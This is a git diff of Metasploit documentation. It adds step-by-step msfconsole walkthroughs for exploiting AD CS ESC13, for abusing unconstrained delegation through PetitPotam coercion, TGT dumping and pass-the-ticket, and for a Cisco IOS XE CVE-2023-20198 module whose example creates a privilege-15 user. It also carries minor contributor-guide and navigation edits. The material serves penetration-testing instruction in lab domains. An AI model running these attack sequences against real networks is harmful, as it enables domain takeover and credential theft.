||||
ESC13(ESC13)
|
||||
alt_subject[<i>Alternate Subject Issuance</i>]
|
||||
as_eagent[<i>Enrollment Agent Issuance</i>]
|
||||
normal[<i>Normal Issuance</i>]
|
||||
|
||||
ESC1 --> alt_subject
|
||||
ESC2 --> as_eagent
|
||||
ESC3 --> as_eagent
|
||||
ESC13 --> normal
|
||||
as_eagent -- use new certificate --> normal
|
||||
end
|
||||
subgraph kerberos/get_ticket[<b>kerberos/get_ticket</b>]
|
||||
PKINIT[<i>PKINIT</i>]
|
||||
end
|
||||
subgraph ldap_esc_vulnerable_cert_finder[<b>ldap_ecs_vulnerable_cert_finder</b>]
|
||||
find_vulnerable_templates[<i>Find Vulnerable Templates</i>]
|
||||
end
|
||||
alt_subject --> PKINIT
|
||||
find_vulnerable_templates --> icpr_cert
|
||||
normal --> PKINIT
|
||||
update_template --> ESC1
|
||||
```
|
||||
|
||||
The chart above showcases how one can go about attacking four common AD CS
|
||||
The chart above showcases how one can go about attacking five unique AD CS
|
||||
vulnerabilities, taking advantage of various flaws in how certificate templates are
|
||||
configured on an Active Directory Certificate Server.
|
||||
|
||||
@@ -30,8 +51,7 @@ administrator via Kerberos.
|
||||
Each certificate template vulnerability that will be discussed here has a ESC code, such
|
||||
as ESC1, ESC2. These ESC codes are taken from the original whitepaper that
|
||||
SpecterOps published which popularized these certificate template attacks, known as
|
||||
[Certified
|
||||
Pre-Owned](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf).
|
||||
[Certified Pre-Owned](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf).
|
||||
In this paper Will Schroeder and Lee Christensen described 8 different domain escalation
|
||||
attacks that they found they could conduct via misconfigured certificate templates:
|
||||
|
||||
@@ -52,29 +72,30 @@ attacks that they found they could conduct via misconfigured certificate templat
|
||||
- ESC7 - Vulnerable Certificate Authority Access Control
|
||||
- ESC8 - NTLM Relay to AD CS HTTP Endpoints
|
||||
|
||||
Later, another
|
||||
[blog](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||
came out from Oliver Lyak which discovered ESC9 and ESC10, two more vulnerabilities that
|
||||
could allow normal domain joined users to abuse certificate template misconfigurations to
|
||||
gain domain administrator privileges.
|
||||
Later, additional techniques were disclosed by security researchers:
|
||||
|
||||
- ESC9 - No Security Extension - CT_FLAG_NO_SECURITY_EXTENSION flag set in
|
||||
`msPKI-EnrollmentFlag`. Also `StrongCertificateBindingEnforcement` not set to 2 or
|
||||
`CertificateMappingMethods` contains `UPN` flag.
|
||||
- ESC10 - Weak Certificate Mappings -
|
||||
`HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel
|
||||
CertificateMappingMethods` contains `UPN` bit aka `0x4` or
|
||||
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc StrongCertificateBindingEnforcement` is set to `0`.
|
||||
- ESC9 - No Security Extension - CT_FLAG_NO_SECURITY_EXTENSION flag set in `msPKI-EnrollmentFlag`. Also
|
||||
`StrongCertificateBindingEnforcement` not set to 2 or `CertificateMappingMethods` contains `UPN` flag.
|
||||
- [Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
|
||||
more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||
- ESC10 - Weak Certificate Mappings - `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel
|
||||
CertificateMappingMethods` contains `UPN` bit aka `0x4` or `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc
|
||||
StrongCertificateBindingEnforcement` is set to `0`.
|
||||
- [Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
|
||||
more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||
- ESC11 - Relaying NTLM to ICPR - Relaying NTLM authentication to unprotected RPC interface is allowed due to lack of
|
||||
the `IF_ENFORCEENCRYPTICERTREQUEST` flag on `Config.CA.Interface.Flags`.
|
||||
- [Relaying to AD Certificate Services over
|
||||
RPC](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/)
|
||||
- ESC12 - A user with shell access to a CA server using a YubiHSM2 hardware security module can access the CA's private
|
||||
key.
|
||||
- [Shell access to ADCS CA with YubiHSM](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm)
|
||||
- ESC13 - Domain escalation via issuance policies with group links.
|
||||
- [ADCS ESC13 Abuse Technique](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53)
|
||||
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc13]]
|
||||
|
||||
Finally, we have ESC11, which was discovered by Compass Security and described in their
|
||||
[blog
|
||||
post](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
|
||||
|
||||
- ESC11 - Relaying NTLM to ICPR - Relaying NTLM authentication to unprotected RPC
|
||||
interface is allowed due to lack of the `IF_ENFORCEENCRYPTICERTREQUEST` flag on `Config.CA.Interface.Flags`.
|
||||
|
||||
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, and ESC4. As such,
|
||||
this page only covers exploiting ESC1 to ESC4 at this time.
|
||||
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, ESC4 and ESC13. As such,
|
||||
this page only covers exploiting ESC1 through ESC4 and ESC13 at this time.
|
||||
|
||||
Before continuing, it should be noted that ESC1 is slightly different than ESC2 and ESC3
|
||||
as the diagram notes above. This is because in ESC1, one has control over the
|
||||
@@ -134,7 +155,9 @@ Domain Controller (DC), and will run a set of LDAP queries to gather a list of c
|
||||
templates they make available for enrollment. It will then also query the permissions on both the CA and the certificate template to figure out
|
||||
which users or groups can use that certificate template to elevate their privileges.
|
||||
|
||||
At this time, the module is capable of identifying techniques ESC1 through ESC3.
|
||||
Currently the module is capable of checking for certificates that are vulnerable to ESC1, ESC2, ESC3, and ESC13. The
|
||||
module is limited to checking for these techniques due to them being identifiable remotely from a normal user account by
|
||||
analyzing the objects in LDAP.
|
||||
|
||||
Keep in mind though that there are two sets of permissions in play here though. There is one set of permissions on the CA server that control
|
||||
who is able to enroll in any certificate template from that server, and second set of permissions that control who is allowed to enroll in
|
||||
@@ -858,6 +881,67 @@ msf6 auxiliary(admin/ldap/ad_cs_cert_template) >
|
||||
At this point the certificate template's configuration has been restored and the operator has a certificate that can be
|
||||
used to authenticate to Active Directory as the Domain Admin.
|
||||
|
||||
# Exploiting ESC13
|
||||
To exploit ESC13, we need to target a certificate that has an issuance policy linked to a universal group in Active
|
||||
Directory. Unlike some of the other ESC techniques, successfully exploiting ESC13 isn't necessarily guaranteed to yield
|
||||
administrative privileges, rather the privileges that are gained are those of the group which is linked to by OID in the
|
||||
certificate template's issuance policy. The `auxiliary/gather/ldap_esc_vulnerable_cert_finder` module is capable of
|
||||
identifying certificates that meet the necessary criteria. When one is found, the module will include the group whose
|
||||
permissions will be included in the resulting Kerberos ticket in the notes section. In the following example, the
|
||||
ESC13-Test template is vulenerable to ESC13 and will yield a ticket including the ESC13-Group permissions.
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
|
||||
...
|
||||
[*] Template: ESC13-Test
|
||||
[*] Distinguished Name: CN=ESC13-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=collalabs1,DC=local
|
||||
[*] Vulnerable to: ESC13
|
||||
[*] Notes: ESC13 groups: ESC13-Group
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3474343397-3755413101-2031708755-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3474343397-3755413101-2031708755-513 (Domain Users)
|
||||
[*] * S-1-5-21-3474343397-3755413101-2031708755-519 (Enterprise Admins)
|
||||
[*] Issuing CAs:
|
||||
[*] * collalabs1-SRV-ADDS01-CA
|
||||
[*] Server: SRV-ADDS01.collalabs1.local
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[*] * S-1-5-21-3474343397-3755413101-2031708755-519 (Enterprise Admins)
|
||||
[*] * S-1-5-21-3474343397-3755413101-2031708755-512 (Domain Admins)
|
||||
```
|
||||
|
||||
In this case, the ticket can be issued with the `icpr_cert` module. No additional options are required to issue the
|
||||
certificate beyond the standard `CA`, `CERT_TEMPLATE`, target and authentication options.
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/admin/dcerpc/icpr_cert
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
|
||||
RHOSTS => 172.30.239.85
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
|
||||
SMBUser => normaluser
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1
|
||||
SMBDomain => COLLALABS1
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
|
||||
SMBPass => normalpass
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA
|
||||
CA => collalabs1-SRV-ADDS01-CA
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC13-Test
|
||||
CERT_TEMPLATE => ESC13-Test
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
|
||||
[*] Running module against 172.30.239.85
|
||||
|
||||
[+] 172.30.239.85:445 - The requested certificate was issued.
|
||||
[*] 172.30.239.85:445 - Certificate Email: normaluser@collalabs1.local
|
||||
[*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3474343397-3755413101-2031708755-10051
|
||||
[*] 172.30.239.85:445 - Certificate UPN: normaluser@collalabs1.local
|
||||
[*] 172.30.239.85:445 - Certificate stored at: /home/normaluser/.msf4/loot/20240226170310_default_172.30.239.85_windows.ad.cs_917878.pfx
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) >
|
||||
```
|
||||
|
||||
We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) with the `ESC13-Group`
|
||||
RID present in the Groups field of the TGT PAC.
|
||||
|
||||
# Authenticating With A Certificate
|
||||
Metasploit supports authenticating with certificates in a couple of different ways. These techniques can be used to take
|
||||
further actions once a certificate has been issued for a particular identity (such as a Domain Admin user).
|
||||
|
||||
+25
-3
@@ -202,13 +202,33 @@ git fetch upstream
|
||||
git checkout fixes-to-pr-12345 upstream/pr/12345
|
||||
```
|
||||
|
||||
If you're writing test cases (which you should), then make sure [rspec] works:
|
||||
## Running and writing tests
|
||||
|
||||
If you're writing test cases (which you should), you should first configure your local database:
|
||||
|
||||
```bash
|
||||
rake spec
|
||||
bundle exec rake db:create db:migrate db:seed RAILS_ENV=test
|
||||
```
|
||||
|
||||
You should see over 9000 tests run, mostly resulting in green dots, a few in yellow stars, and no red errors.
|
||||
Then make sure [rspec] works:
|
||||
|
||||
```bash
|
||||
bundle exec rspec
|
||||
```
|
||||
|
||||
To run tests defined in file(s):
|
||||
|
||||
```bash
|
||||
bundle exec rspec ./spec/path/to/your/tests_1.rb ./spec/path/to/your/tests_2.rb
|
||||
```
|
||||
|
||||
To run run the tests defined at a line number - for instance line 23:
|
||||
|
||||
```
|
||||
bundle exec rspec ./spec/path/to/your/tests_1.rb:23
|
||||
```
|
||||
|
||||
Newly contributed tests should follow the conventions defined by [BetterSpecs.org] - with the additional requirement that all `it` blocks should have a human readable description.
|
||||
|
||||
# Great! Now what?
|
||||
|
||||
@@ -250,3 +270,5 @@ Finally, we welcome your feedback on this guide, so feel free to reach out to us
|
||||
[@kernelsmith]:https://github.com/kernelsmith
|
||||
[@corelanc0d3r]:https://github.com/corelanc0d3r
|
||||
[@ffmike]:https://github.com/ffmike
|
||||
|
||||
[BetterSpecs.org]:https://www.betterspecs.org/
|
||||
|
||||
@@ -106,5 +106,5 @@ sequenceDiagram
|
||||
- AS-REP Roasting - Some Kerberos accounts may be configured with a `Do not require Kerberos preauthentication` flag. For these accounts a Kerberos TGT will be returned by the KDC without needing to authenticate. These TGTs can be bruteforced to learn the original user's credentials. The [[auxiliary/scanner/kerberos/kerberos_login|pentesting/active-directory/kerberos/kerberos_login.md#asreproasting]] module implements this workflow.
|
||||
- Forging Tickets - After compromising a KDC or service account it is possible to forge tickets for persistence. The [[auxiliary/admin/kerberos/forge_ticket|pentesting/active-directory/kerberos/forge_ticket.md]] module can forge both Golden and Silver tickets.
|
||||
- Inspecting Tickets - Kerberos tickets can be inspected with the [[auxiliary/admin/kerberos/inspect_ticket|pentesting/active-directory/kerberos/inspect_ticket.md]] module. If the encryption key is known, the decrypted contents can be displayed.
|
||||
- [[Service authentication|kerberos/service_authentication.md]] - Using Kerberos to authenticate via services suh as WinRM/Microsoft SQL Server/SMB/LDAP/etc
|
||||
- [[Service authentication|kerberos/service_authentication.md]] - Using Kerberos to authenticate via services such as WinRM/Microsoft SQL Server/SMB/LDAP/etc
|
||||
- [[Kerberoasting|kerberos/kerberoasting.md]] - Finding services in Active Directory that are associated with normal user accounts which may have brute forcible encryption keys that lead to Active Directory credentials.
|
||||
|
||||
@@ -130,11 +130,13 @@ Required options:
|
||||
* `${Prefix}::Rhostname` -- The hostname of the target system. This value should be either the hostname `WIN-MIJZ318SQH` or
|
||||
the FQDN like `WIN-MIJZ318SQH.msflab.local`. i.e. `Smb::Rhostname=WIN-MIJZ318SQH.msflab.local`
|
||||
* `${Prefix}Domain` -- The domain name of the target system, e.g. `msflab.local`. i.e. `SmbDomain=msflab.local`
|
||||
* `DomainControllerRhost` -- The IP address of the domain controller to use for kerberos authentication. i.e. `DomainControllerRhost=192.168.123.13`
|
||||
|
||||
Optional options:
|
||||
* `DomainControllerRhost` -- The IP address or hostname of the domain controller to use for Kerberos authentication.
|
||||
i.e. `DomainControllerRhost=192.168.123.13`. If this value is not specified, Metasploit will look it up via the
|
||||
realm's (the `${Prefix}Domain` option) SRV record in DNS.
|
||||
* `${Prefix}::Krb5Ccname` -- The path to a CCACHE file to use for authentication. This is comparable to setting the
|
||||
`KRB5CCNAME` environment variable for other tools. If specified, the tickets it contains will be used. i.e. `KRB5CCNAME=/path/to/Administrator.ccache`
|
||||
`KRB5CCNAME` environment variable for other tools. If specified, the tickets it contains will be used. i.e. `KRB5CCNAME=/path/to/Administrator.ccache`.
|
||||
* `KrbCacheMode` -- The cache storage mode to use, one of the following four options:
|
||||
* `none` -- No cache storage is used, new tickets are requested and no tickets are stored.
|
||||
* `read-only` -- Stored tickets from the cache will be used, but no new tickets are stored.
|
||||
|
||||
@@ -0,0 +1,226 @@
|
||||
# Unconstrained Delegation Exploitation
|
||||
|
||||
If a computer account is configured for unconstrained delegation, and an attacker has administrative access to it then
|
||||
the attacker can leverage it to compromise the Active Directory domain.
|
||||
|
||||
## Lab setup
|
||||
|
||||
For this attack to work there must be a computer account (workstation or server) in the active directory domain that has
|
||||
been configured for unconstrained delegation.
|
||||
|
||||
On the domain controller:
|
||||
|
||||
1. Open "Active Directory Users and Computers"
|
||||
2. Navigate to the computer account, right click and select "Properties"
|
||||
3. In the "Delegation" tab, select "Trust this computer for delegation to any service (Kerberos only)"
|
||||
|
||||
On the target computer:
|
||||
|
||||
1. Force an update of group policy by running `gpupdate /force`
|
||||
2. Reboot the computer
|
||||
|
||||
## Attack Workflow
|
||||
|
||||
This attack assumes that the attacker has:
|
||||
|
||||
1. The IP address of the domain controller.
|
||||
2. The active directory domain name.
|
||||
3. A compromised domain account (no special privileges are necessary).
|
||||
4. The ability to fully compromise a target system through some means.
|
||||
5. (Optional but recommended) Metasploit running with an attached database so the Kerberos ticket cache can be used.
|
||||
Verify this using the `db_status` command.
|
||||
|
||||
At a high-level the summary to leverage this attack chain is:
|
||||
|
||||
1. Identify a target computer account configured with unconstrained delegation.
|
||||
2. Compromise that target computer account to open a Meterpreter session with administrative privileges (SYSTEM works).
|
||||
3. Coerce authentication to the compromised target from a domain controller.
|
||||
4. Dump the Kerberos tickets from the compromised targets to obtain a TGT from the domain controller's computer account.
|
||||
5. Use the TGT to authenticate to the domain controller as itself (the computer account).
|
||||
|
||||
### Target Identification
|
||||
The unconstrained delegation setting is stored as a bit flag in the `userAccountControl` LDAP attribute. A domain
|
||||
account can be used with the `auxiliary/gather/ldap_query` module to identify computer accounts configured for
|
||||
unconstrained delegation. Note that by default domain controllers themselves are configured for unconstrained delegation
|
||||
and should be ignored as targets.
|
||||
|
||||
Use the `ENUM_UNCONSTRAINED_DELEGATION` action to enumerate targets:
|
||||
```
|
||||
msf6 > use auxiliary/gather/ldap_query
|
||||
msf6 auxiliary(gather/ldap_query) > set RHOSTS 192.168.159.10
|
||||
RHOSTS => 192.168.159.10
|
||||
msf6 auxiliary(gather/ldap_query) > set DOMAIN msflab.local
|
||||
DOMAIN => msflab.local
|
||||
msf6 auxiliary(gather/ldap_query) > set USERNAME aliddle
|
||||
USERNAME => aliddle
|
||||
msf6 auxiliary(gather/ldap_query) > set PASSWORD Password1!
|
||||
PASSWORD => Password1!
|
||||
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_UNCONSTRAINED_DELEGATION
|
||||
ACTION => ENUM_UNCONSTRAINED_DELEGATION
|
||||
msf6 auxiliary(gather/ldap_query) > run
|
||||
[*] Running module against 192.168.159.10
|
||||
|
||||
[*] Discovering base DN automatically
|
||||
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
|
||||
[+] 192.168.159.10:389 Discovered schema DN: DC=msflab,DC=local
|
||||
CN=WS01 CN=Computers DC=msflab DC=local
|
||||
=======================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
cn WS01
|
||||
objectcategory CN=Computer,CN=Schema,CN=Configuration,DC=msflab,DC=local
|
||||
samaccountname WS01$
|
||||
|
||||
CN=DC OU=Domain Controllers DC=msflab DC=local
|
||||
==============================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
cn DC
|
||||
memberof CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=msflab,DC=local || CN=Cert Publishers,CN=Users,DC=msflab,DC=local
|
||||
objectcategory CN=Computer,CN=Schema,CN=Configuration,DC=msflab,DC=local
|
||||
samaccountname DC$
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/ldap_query) >
|
||||
```
|
||||
|
||||
This results in two potential targets, WS01 and DC. Next, use the `ENUM_DOMAIN_CONTROLLERS` action to identify the
|
||||
domain controllers to remove from the list of potential targets.
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_DOMAIN_CONTROLLERS
|
||||
ACTION => ENUM_DOMAIN_CONTROLLERS
|
||||
msf6 auxiliary(gather/ldap_query) > run
|
||||
[*] Running module against 192.168.159.10
|
||||
|
||||
[*] Discovering base DN automatically
|
||||
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
|
||||
[+] 192.168.159.10:389 Discovered schema DN: DC=msflab,DC=local
|
||||
CN=DC OU=Domain Controllers DC=msflab DC=local
|
||||
==============================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
distinguishedname CN=DC,OU=Domain Controllers,DC=msflab,DC=local
|
||||
dnshostname DC.msflab.local
|
||||
name DC
|
||||
operatingsystem Windows Server 2019 Standard
|
||||
operatingsystemversion 10.0 (17763)
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/ldap_query) >
|
||||
```
|
||||
|
||||
This shows that DC is a domain controller and should be removed from the list, leaving WS01 as the only viable target.
|
||||
|
||||
### Exploitation
|
||||
Now the WS01 system needs to be compromised through some means to obtain a Meterpreter session. Once a Meterpreter
|
||||
session has been obtained, the Domain Controller needs to be coerced into authenticating to the target. The
|
||||
`auxiliary/scanner/dcerpc/petitpotam` module can be used for this purpose. Use the module, and take care to set the
|
||||
`LISTENER` option to **the hostname of the compromised host**. The hostname must be used and not an IP address. Set the
|
||||
remaining options including `RHOSTS` to the domain controller, and `SMBUser` / `SMBPass` to the credentials of the
|
||||
compromised domain account.
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/scanner/dcerpc/petitpotam
|
||||
msf6 auxiliary(scanner/dcerpc/petitpotam) > set LISTENER ws01.msflab.local
|
||||
LISTENER => ws01.msflab.local
|
||||
msf6 auxiliary(scanner/dcerpc/petitpotam) > set SMBUser aliddle
|
||||
SMBUser => aliddle
|
||||
msf6 auxiliary(scanner/dcerpc/petitpotam) > set SMBPass Password1!
|
||||
SMBPass => Password1!
|
||||
msf6 auxiliary(scanner/dcerpc/petitpotam) > set RHOSTS 192.168.159.10
|
||||
RHOSTS => 192.168.159.10
|
||||
msf6 auxiliary(scanner/dcerpc/petitpotam) > run
|
||||
|
||||
[+] 192.168.159.10:445 - Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful
|
||||
[*] 192.168.159.10:445 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/dcerpc/petitpotam) >
|
||||
```
|
||||
|
||||
If the module does not indicate that the attack was successful, another tool like
|
||||
[`Coercer`](https://github.com/p0dalirius/Coercer) can be used to try additional methods.
|
||||
|
||||
Now that the domain controller has authenticated to the target it's necessary to dump the kerberos tickets from the
|
||||
compromised target. Use the `post/windows/manage/kerberos_tickets` module and the `DUMP_TICKETS` action to dump the TGTs
|
||||
from the compromised host. If the attack was successful there should be at least one TGT from the domain controller's
|
||||
computer account.
|
||||
|
||||
```
|
||||
msf6 > use post/windows/manage/kerberos_tickets
|
||||
msf6 post(windows/manage/kerberos_tickets) > set SESSION -1
|
||||
SESSION => -1
|
||||
msf6 post(windows/manage/kerberos_tickets) > set SERVICE krbtgt/*
|
||||
SERVICE => krbtgt/*
|
||||
msf6 post(windows/manage/kerberos_tickets) > run
|
||||
|
||||
[*] LSA Handle: 0x000001efe1c415a0
|
||||
[*] LogonSession LUID: 0x00004bc1d
|
||||
[*] User: MSFLAB\DC$
|
||||
[*] Session: 0
|
||||
[*] AuthenticationPackage: Kerberos
|
||||
[*] LogonType: Network (3)
|
||||
[*] LogonTime: 2023-08-23 08:33:17 -0400
|
||||
[*] Ticket[0]
|
||||
[*] TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230823151727_default_192.168.159.10_mit.kerberos.cca_488233.bin
|
||||
Primary Principal: DC$@MSFLAB.LOCAL
|
||||
Ccache version: 4
|
||||
|
||||
Creds: 1
|
||||
Credential[0]:
|
||||
Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL
|
||||
Client: DC$@MSFLAB.LOCAL
|
||||
Ticket etype: 18 (AES256)
|
||||
Key: e515137250f072d44b7487c09b8033a34ff1c7e96ad20674007c255a0a8de2b0
|
||||
Subkey: false
|
||||
Ticket Length: 1006
|
||||
Ticket Flags: 0x60a10000 (FORWARDABLE, FORWARDED, RENEWABLE, PRE_AUTHENT, CANONICALIZE)
|
||||
Addresses: 0
|
||||
Authdatas: 0
|
||||
Times:
|
||||
Auth time: 1969-12-31 19:00:00 -0500
|
||||
Start time: 2023-08-23 08:33:17 -0400
|
||||
End time: 2023-08-23 18:33:17 -0400
|
||||
Renew Till: 2023-08-30 08:33:17 -0400
|
||||
Ticket:
|
||||
Ticket Version Number: 5
|
||||
Realm: MSFLAB.LOCAL
|
||||
Server Name: krbtgt/MSFLAB.LOCAL
|
||||
Encrypted Ticket Part:
|
||||
Ticket etype: 18 (AES256)
|
||||
Key Version Number: 2
|
||||
Cipher:
|
||||
L/csyZle+LDn1i7Yqci0vbZCHrjO8CeQXBSix3d1lCR66sR0Zq/ogR/6g3X8yGn9acvGjAtt29ZErQe4FA3ttZ6MA2p8QldvbQCvELLpQkOHKrmzd2YhWy5YxfbwzFpZT0OtFEB0gYW3AQuOyRKk5vCuljZH6bPaz77g8KUejFx80tJbmz6n2GLOzG8rcMiy/i/zYreG6TLnjZJgw3UVABFSjUKs20eSK2Le5OxSKfcBQTwaRp+BPdXWGbMNYWwTUntAZGC5G6DE9xglY0+T2D/9HFSWVesrnduMmzHR9NojQYezHJorMKh7m5/KeNEzuJUDLCkgX/Uscq8dc6XMaFH7aIsg5+nlAZBPTrYtkayun6AaTLJpqLg90ab3iYCZpvdCBKBPapg3271YVHe8i7OaDDJWXMNooi+6Jg+B1cnBRH9qQ5T2k7RQLMNez9P8dvuMkDmFpRz5KOJk+w+Mz6XFeu9g1Z4zXQ6msI060PrwvAENevTN9DKUWtDGBCQMTjBDm75sMA7Aq8KgBqKYUhP+CV+HzgFou4P1/t3l+udRBIYfQw68EHW2dQE/ZZR+oLPPHbCsbnpkp/rSFjdsl0E9Zm4upPty3M+sKd2fdZSLXs5CLBs5WeZmPrXHrHnyC/AnoLNQVTVCtv5EpM50BWooXWKHljLctHxN/W6ZXgqwZ4R7KNYIrtaAsmLrkq2K/z+zsuAWRoDKFtLWZMD9eqfsGi2bRBqPf74+mi1bPXL/1eWlUwmrjr5Buj4kvC8XB+wTRoAkSrjoAx7IglfSIKdW/5N3CX6G+smJWZCsrGIvouTzIzcpHCXgoaHypnm2B9G7yIwkDgpCFd4MW3t8ZrZXOjuReQ6Aiy9mXHlbReX9G3Xl0fj7z4cIKSV4YiyEkjXJE+eAT7GdtJEPFXJJw6Fxhdam+FL+SKVvu4kw+uvqfz72GDG24/KqM3/0L58M96oEd1LHnVoHwuPtfDA7xhvHDu8iYZOkOjDc5cwMCU0MmW5A1cijTuNfSeRRHx6xXLPKkIJH/5XWeg7BAG3lnlOgS/HKj+Uhti7fabZHUvXyGAdA7CJzZ2OUlZY6Acm9JU2EuUfFvnpEjAtasckDA43pb/r4ZNIZPxcq6gpgcdFpZIb8H7bbWdIIinDJfFkEunJ7E1TG9wSbX6j6JfThG31L7EBW+UPHlDa4k1wPFMP3lNgleVUBi0n24T1RBTb6c5W0Cw==
|
||||
[*] LogonSession LUID: 0x00001052b
|
||||
[*] User: Window Manager\DWM-1
|
||||
[*] Session: 1
|
||||
[*] AuthenticationPackage: Negotiate
|
||||
[*] LogonType: Interactive (2)
|
||||
[*] LogonTime: 2023-08-23 08:32:38 -0400
|
||||
|
||||
... omitted for brevity ...
|
||||
```
|
||||
|
||||
In this case, a TGT for the `MSFLAB\DC$` account was obtained through the logon session with LUID `0x00004bc1d`. The
|
||||
ticket was stored to disk in a ccache file. The ticket can also be seen in the output of `klist`.
|
||||
|
||||
```
|
||||
msf6 post(windows/manage/kerberos_tickets) > klist
|
||||
Kerberos Cache
|
||||
==============
|
||||
id host principal sname issued status path
|
||||
-- ---- --------- ----- ------ ------ ----
|
||||
411 192.168.159.10 DC$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 09:32:46 -0400 active /home/smcintyre/.msf4/loot/20230823151744_default_192.168.159.10_mit.kerberos.cca_307418.bin
|
||||
407 192.168.159.10 WS01$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 15:14:46 -0400 active /home/smcintyre/.msf4/loot/20230823151735_default_192.168.159.10_mit.kerberos.cca_760842.bin
|
||||
|
||||
msf6 post(windows/manage/kerberos_tickets) >
|
||||
```
|
||||
|
||||
### Using The Ticket
|
||||
Now that at TGT for the domain controller has been obtained, it can be used in a Pass-The-Ticket style attack whereby
|
||||
the attacker uses it to authenticate to the target. The `auxiliary/gather/windows_secrets_dump` module is a good one to
|
||||
use for this purpose as it will yield additional accounts while avoiding running any kind of payload on the domain
|
||||
controller.
|
||||
+8
-1
@@ -186,7 +186,11 @@ NAVIGATION_CONFIG = [
|
||||
},
|
||||
{
|
||||
path: '../../documentation/modules/auxiliary/admin/ldap/rbcd.md',
|
||||
title: 'RBCD - Resource-based constrained delegation'
|
||||
title: 'Resource-based constrained delegation (RBCD)'
|
||||
},
|
||||
{
|
||||
path: 'kerberos/unconstrained_delegation.md',
|
||||
title: 'Unconstrained delegation'
|
||||
}
|
||||
]
|
||||
},
|
||||
@@ -321,6 +325,9 @@ NAVIGATION_CONFIG = [
|
||||
{
|
||||
path: 'Metasploit-Web-Service.md'
|
||||
},
|
||||
{
|
||||
path: 'How-to-Configure-DNS.md'
|
||||
},
|
||||
{
|
||||
title: 'Meterpreter',
|
||||
folder: 'meterpreter',
|
||||
|
||||
@@ -3,6 +3,8 @@ Request certificates via MS-ICPR (Active Directory Certificate Services). Depend
|
||||
template's configuration the resulting certificate can be used for various operations such as authentication.
|
||||
PFX certificate files that are saved are encrypted with a blank password.
|
||||
|
||||
This module is capable of exploiting ESC1, ESC2, ESC3 and ESC13.
|
||||
|
||||
## Module usage
|
||||
|
||||
1. From msfconsole
|
||||
|
||||
@@ -0,0 +1,172 @@
|
||||
## Vulnerable Application
|
||||
This module leverages CVE-2023-20198 against vulnerable instances of Cisco IOS XE devices which have the
|
||||
Web UI exposed. An attacker can execute arbitrary CLI commands with privilege level 15.
|
||||
|
||||
You must specify the IOS command mode to execute a CLI command in. Valid modes are `user`, `privileged`, and
|
||||
`global`. To run a command in "Privileged" mode, set the `CMD` option to the command you want to run,
|
||||
e.g. `show version` and set the `MODE` to `privileged`. To run a command in "Global Configuration" mode, set
|
||||
the `CMD` option to the command you want to run, e.g. `username hax0r privilege 15 password hax0r` and set
|
||||
the `MODE` to `global`.
|
||||
|
||||
The vulnerable IOS XE versions are:
|
||||
|
||||
